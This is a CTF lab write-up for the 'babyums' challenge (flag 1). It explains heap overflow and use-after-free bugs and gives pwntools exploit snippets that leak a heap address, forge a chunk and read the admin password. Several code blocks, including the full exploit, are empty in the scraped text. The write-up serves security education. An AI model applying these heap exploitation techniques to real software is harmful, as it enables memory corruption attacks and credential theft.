Simple PWN - 0x19(Lab - babyums - flag 1)
tags: CTF PWN eductf
Version: Ubuntu 20.04
Original Code
1 | |
Something wrong
- Heap overflow
- Used after free(UAF)
- Note that, flag 1 is admin password, flag 2 is at
/home/chal/
Exploit
Hard solution - leak heap base address + heap overflow
If we can use heap overflow to overlap the user k’s *data, then we can let it point to admin’s password and use show_users() to print it out
-
leak admin password address
It’s very straight forward, if we delete two user, user 2 first and then user 1, at the same time, the
fdof user 1 will point to the data of user 2. Then we can useshow_user()to leak the address and try to findadmin_pass_addrby minus offset1
2
3
4
5
6
7
8
9
10
11edit_data(0, 0x8, b'a') # Must add this line to use heap overflow add_user(1, b'a'*8, b'aaaa') edit_data(1, 0x20, b'a') add_user(2, b'b'*8, b'bbbb') del_user(2) del_user(1) show_user() r.recvuntil(b'[1] ') r.recvuntil(b'data: ') admin_pass_addr = u64(r.recv(6).ljust(8, b'\x00')) - 0xa0 print(hex(admin_pass_addr))
- Get the memory back from
tcache1
2add_user(1, b'a'*8, b'aaaa') edit_data(1, 0x20, b'a') - Construct fake chunk that the data pointer will point to the
admin_pass_addr1
2
3
4
5
6
7
8
9fake_chunk = flat( b'a'*8, b'a'*8, b'a'*8, 0x31, b'a'*8, b'a'*8, b'a'*8, b'a'*8, admin_pass_addr, ) edit_data(0, 0x48, fake_chunk) show_user()
- Then we got flag 1!!!

Easy solution
Try to let the admin user be the data of other user, then we can use show_user function to print it out
1 | |
- First, we add user 1

- Then we delete user 0(admin), so that it’ll be put into
tcache(0x30)
- When we use
edit_datafunction, it’ll get a memory space from sub-bin oftcachebe user1’s data, which is what we delete. In addition, in order to print the data section out, must change theNULLbyte to garbage
- Then we got flag 1!!!

Whole Exploit
1 | |